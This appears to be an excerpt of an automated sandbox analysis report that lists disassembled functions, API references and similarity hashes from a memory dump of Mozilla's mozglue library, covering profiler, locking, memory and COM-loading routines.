Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 5056b202f191c56701d96874fe96ed661bd03d639a7411ce73f8097f0cc17fc2
Instruction ID: a4635a7837f3ac2ea6286f061c176fb6de9796d62a26b6926756cb7c3fb7e979
Opcode Fuzzy Hash: 5056b202f191c56701d96874fe96ed661bd03d639a7411ce73f8097f0cc17fc2
Instruction Fuzzy Hash: E501D874E0418187DB109B6FD821BBA3379FB05339F040537D91E87F81D625E5548957

Function 6CB30F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB30F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB30F88
GetCurrentThreadId.KERNEL32 ref: 6CB30FF7
InitializeConditionVariable.KERNEL32(?), ref: 6CB31067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CB310A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CB3114B

Part of subcall function 6CB28AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CB41563), ref: 6CB28BD5

free.MOZGLUE(?), ref: 6CB31174
free.MOZGLUE(?), ref: 6CB31186

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: f5760620696ac0423696d5f4aec3d6b676bc0256515a89029983eb1a5f37f059
Instruction ID: fe61da69e86feae0e3ec25d50bf8d712c0b434906c728b288d024a65bfc59269
Opcode Fuzzy Hash: f5760620696ac0423696d5f4aec3d6b676bc0256515a89029983eb1a5f37f059
Instruction Fuzzy Hash: B361AB75A047949BDB10CF25D9807AEB7F9BFC5308F04991DE88947B51EB31E849CB82

Function 6CAEB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CAEB61E,?,?,?,?,?,00000000), ref: 6CAEB6AC

Part of subcall function 6CAFCA10: malloc.MOZGLUE(?), ref: 6CAFCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CAEB61E,?,?,?,?,?,00000000), ref: 6CAEB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CAEB61E,?,?,?,?,?,00000000), ref: 6CAEB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CAEB61E,?,?,?,?,?,00000000), ref: 6CAEB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CAEB61E,?,?,?,?,?,00000000), ref: 6CAEB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CAEB61E), ref: 6CAEB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CAEB61E,?,?,?,?,?,00000000), ref: 6CAEB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CAEB61E,?,?,?,?,?,00000000), ref: 6CAEB79A

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: c8e3f47eac72ae3ba09c03ed99bafcd362ae26d691c967b03386e499fdb65a9b
Instruction ID: 08b2ea8d3dd4971b47292a892bc46a5e70ea132b5cd79adf20bb8debf78e782a
Opcode Fuzzy Hash: c8e3f47eac72ae3ba09c03ed99bafcd362ae26d691c967b03386e499fdb65a9b
Instruction Fuzzy Hash: CE41D6B2D012198FCB00DF69EC845AFB7B5FB48324F250729E825E7780E731A9548BD5

Function 6CAEEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6CB65104), ref: 6CAEEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CAEEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAEEFEC
free.MOZGLUE(?), ref: 6CAEF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CAEF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6CAEF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAEF065
moz_xmalloc.MOZGLUE ref: 6CAEF072

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 5331b8d0401a27760ce04b925eccdd4c2aed00c55db2edc15e22cb3d410c135c
Instruction ID: d5ddb7c259e5a71093a3b015131289a5aa7f9d3d00d96b69dd775ec3ca83725a
Opcode Fuzzy Hash: 5331b8d0401a27760ce04b925eccdd4c2aed00c55db2edc15e22cb3d410c135c
Instruction Fuzzy Hash: BE41D4B1A002059FCB08DF68EC819AF7765EF88324B24462CE815DB794FB71E955CBE1

Function 6CB5B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CB5B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CB5B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CB5B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CB5B5F4
__Init_thread_footer.LIBCMT ref: 6CB5B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CB5B61F
std::_Facet_Register.LIBCPMT ref: 6CB5B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB5B655

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 85759c5e34ed11f2841354f771003441fda405d6c62cb3c5b54d0f6a1fbdb1a9
Instruction ID: dc812d3529ab9b080ce78d0de0e309438f6b05ad99793c8a5592cc4efa2c93f8
Opcode Fuzzy Hash: 85759c5e34ed11f2841354f771003441fda405d6c62cb3c5b54d0f6a1fbdb1a9
Instruction Fuzzy Hash: 3031A172B001A48BCB04DFAAC8589BEB7B5FF8A324B540559E90297780DB30A916CF91

Function 6CAFB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CB3CC83,?,?,?,?,?,?,?,?,?,6CB3BCAE,?,?,6CB2DC2C), ref: 6CAFB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CB3CC83,?,?,?,?,?,?,?,?,?,6CB3BCAE,?,?,6CB2DC2C), ref: 6CAFB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6CB3CC83,?,?,?,?,?,?,?,?,?,6CB3BCAE), ref: 6CAFB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6CB3CC83,?,?,?,?,?,?,?,?,?,6CB3BCAE,?,?,6CB2DC2C), ref: 6CAFB896

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: d16638510867bac0986edf231126e0f3fd3c081069bc1842b4e71ef553c05dee
Instruction ID: a26b438b064bf920e6e8196fbdbfba917b701a0909c564a88ca9afb7741264d0
Opcode Fuzzy Hash: d16638510867bac0986edf231126e0f3fd3c081069bc1842b4e71ef553c05dee
Instruction Fuzzy Hash: 23519E357006048FCB15CF59D498A7AB7F5FF89318B69865DE9AA8B391C731EC42CB80

Function 6CB31D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB31D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CB31BE3,?,?,6CB31D96,00000000), ref: 6CB31D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CB31BE3,?,?,6CB31D96,00000000), ref: 6CB31D4C
GetCurrentThreadId.KERNEL32 ref: 6CB31DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB31DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB31DDA

Part of subcall function 6CB31EF0: GetCurrentThreadId.KERNEL32 ref: 6CB31F03
Part of subcall function 6CB31EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CB31DF2,00000000,00000000), ref: 6CB31F0C
Part of subcall function 6CB31EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CB31F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CB31DF4

Part of subcall function 6CAFCA10: malloc.MOZGLUE(?), ref: 6CAFCA26

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: f42344c2a784dbdcf69cec95f57f38d5d8c3db46a83f8152b1325ff23ad56ded
Instruction ID: c4d64e369c923225e3cb43d3b7ccdbbf775f4fd6cb5c9f6064602af37d1a3cd9
Opcode Fuzzy Hash: f42344c2a784dbdcf69cec95f57f38d5d8c3db46a83f8152b1325ff23ad56ded
Instruction Fuzzy Hash: EF4188B52007549FCB10DF29C488A6ABBF9FF89314F14442EE99A87B81CB31F854CB91

Function 6CAF38A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CB6E220,?,?,?,?,6CAF3899,?), ref: 6CAF38B2
ReleaseSRWLockExclusive.KERNEL32(6CB6E220,?,?,?,6CAF3899,?), ref: 6CAF38C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6CAF3899,?), ref: 6CAF38F1
RtlFreeHeap.NTDLL ref: 6CAF3920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6CAF3899,?), ref: 6CAF392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6CAF3899,?), ref: 6CAF3943
RtlFreeHeap.NTDLL ref: 6CAF396E

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 1b9807c2ae01f2b122f3cb12de765b89782d95be37bc5da70a380c87c520d5ea
Instruction ID: 9762dc3f008e5f612251660b3082e31ff7fddd7b4928d595ac2da4432ba71c6d
Opcode Fuzzy Hash: 1b9807c2ae01f2b122f3cb12de765b89782d95be37bc5da70a380c87c520d5ea
Instruction Fuzzy Hash: 36213572601654DFD720DF65C884B8AB7B9EF44328F158429E9AA97B00CB34E886CBD1

Function 6CB284E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB284F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB2850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB2851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB2855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB2856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB285AC

Part of subcall function 6CB27670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CB285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB2767F
Part of subcall function 6CB27670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CB285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB27693
Part of subcall function 6CB27670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CB285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB276A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB285B2

Part of subcall function 6CB05E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB05EDB
Part of subcall function 6CB05E90: memset.VCRUNTIME140(6CB47765,000000E5,55CCCCCC), ref: 6CB05F27
Part of subcall function 6CB05E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB05FB2

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: ca9543c11f9a346b94767091b545b8ad0a5302c515d76acbd12b34271490486d
Instruction ID: c1781102fa94e65c1a9645fb3e48eb9054fa1bdaaf9aa1b31b2d226cec0a379a
Opcode Fuzzy Hash: ca9543c11f9a346b94767091b545b8ad0a5302c515d76acbd12b34271490486d
Instruction Fuzzy Hash: 9C2180752006818FDB14DB65C888A6A77B9EF4430CF14482EE59FC3B41DB3AE948CB51

Function 6CAF1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CAF1699
VerSetConditionMask.NTDLL ref: 6CAF16CB
VerSetConditionMask.NTDLL ref: 6CAF16D7
VerSetConditionMask.NTDLL ref: 6CAF16DE
VerSetConditionMask.NTDLL ref: 6CAF16E5
VerSetConditionMask.NTDLL ref: 6CAF16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CAF16F9

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 1d1539498b8502cfd4776a882df1fd70996820b347b88366ac0dfd720dfed16f
Instruction ID: ba2301a9a346ae989f0be9f32649edef99058eda04f0faa6b0caea963389216a
Opcode Fuzzy Hash: 1d1539498b8502cfd4776a882df1fd70996820b347b88366ac0dfd720dfed16f
Instruction Fuzzy Hash: B621DFF07402486BEB106A69CC85FFFB3BCEF9A704F404528F6459B6C0C6749D958BA1

Function 6CB2F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB1CBE8: GetCurrentProcess.KERNEL32(?,6CAE31A7), ref: 6CB1CBF1
Part of subcall function 6CB1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAE31A7), ref: 6CB1CBFA

Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAF4A68), ref: 6CB2945E
Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB29470
Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB29482
Part of subcall function 6CB29420: __Init_thread_footer.LIBCMT ref: 6CB2949F

GetCurrentThreadId.KERNEL32 ref: 6CB2F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CB2F598), ref: 6CB2F621

Part of subcall function 6CB294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB294EE
Part of subcall function 6CB294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB29508

GetCurrentThreadId.KERNEL32 ref: 6CB2F637
AcquireSRWLockExclusive.KERNEL32(6CB6F4B8,?,?,00000000,?,6CB2F598), ref: 6CB2F645
ReleaseSRWLockExclusive.KERNEL32(6CB6F4B8,?,?,00000000,?,6CB2F598), ref: 6CB2F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CB2F62A

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 91fbd6f860ea9cb04916099f8eebab6cba5561d0b5649a957e34b804b7d3667b
Instruction ID: cb85661d23a4808d15bf4a81d0540361f9f27651d4024681b2108291ca3e58a5
Opcode Fuzzy Hash: 91fbd6f860ea9cb04916099f8eebab6cba5561d0b5649a957e34b804b7d3667b
Instruction Fuzzy Hash: CD110236305254ABDB04AF5AC848EF97779FF86768B100425FA0983F81CB35AC25CBA1

Function 6CAF1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB1AB89: EnterCriticalSection.KERNEL32(6CB6E370,?,?,?,6CAE34DE,6CB6F6CC,?,?,?,?,?,?,?,6CAE3284), ref: 6CB1AB94
Part of subcall function 6CB1AB89: LeaveCriticalSection.KERNEL32(6CB6E370,?,6CAE34DE,6CB6F6CC,?,?,?,?,?,?,?,6CAE3284,?,?,6CB056F6), ref: 6CB1ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6CAF1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6CAF1FFD
__Init_thread_footer.LIBCMT ref: 6CAF2011
FreeLibrary.KERNEL32 ref: 6CAF2059

Strings

combase.dll, xrefs: 6CAF1FD9
CoCreateInstance, xrefs: 6CAF1FF7

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 718ea10bec584080d10491add51caf2e2765df20578971aafb97b85680a1d4de
Instruction ID: 9e365889133c0632851883a76be7f35e5010e0c98999b919aba667e20303e9c6
Opcode Fuzzy Hash: 718ea10bec584080d10491add51caf2e2765df20578971aafb97b85680a1d4de
Instruction Fuzzy Hash: 80117C7AA01284AFDF20CF56CC4EEAA3B79FB46369F044129F91583A80C7319C45CFA1

Function 6CAF0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB1AB89: EnterCriticalSection.KERNEL32(6CB6E370,?,?,?,6CAE34DE,6CB6F6CC,?,?,?,?,?,?,?,6CAE3284), ref: 6CB1AB94
Part of subcall function 6CB1AB89: LeaveCriticalSection.KERNEL32(6CB6E370,?,6CAE34DE,6CB6F6CC,?,?,?,?,?,?,?,6CAE3284,?,?,6CB056F6), ref: 6CB1ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CB1D9F0,00000000), ref: 6CAF0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CAF0F3C
__Init_thread_footer.LIBCMT ref: 6CAF0F50
FreeLibrary.KERNEL32(?,6CB1D9F0,00000000), ref: 6CAF0F86

Strings

combase.dll, xrefs: 6CAF0F18
CoInitializeEx, xrefs: 6CAF0F36

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 2268f542364acacd59927be516f11b6b475ab75d629dfebbfdd01ff04808e5d6
Instruction ID: 1189e6ed570ab126c28b34e572a64f5fee4f3a80b430d79e10fba2a95670840d
Opcode Fuzzy Hash: 2268f542364acacd59927be516f11b6b475ab75d629dfebbfdd01ff04808e5d6
Instruction Fuzzy Hash: 7F1170797052809BEF00DF56CA18B6A37B4FB4A325F04462AF91593AC0D730EC46CB56

Function 6CB2F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAF4A68), ref: 6CB2945E
Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB29470
Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB29482
Part of subcall function 6CB29420: __Init_thread_footer.LIBCMT ref: 6CB2949F

GetCurrentThreadId.KERNEL32 ref: 6CB2F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB2F561

Part of subcall function 6CB294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB294EE
Part of subcall function 6CB294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB29508

GetCurrentThreadId.KERNEL32 ref: 6CB2F577
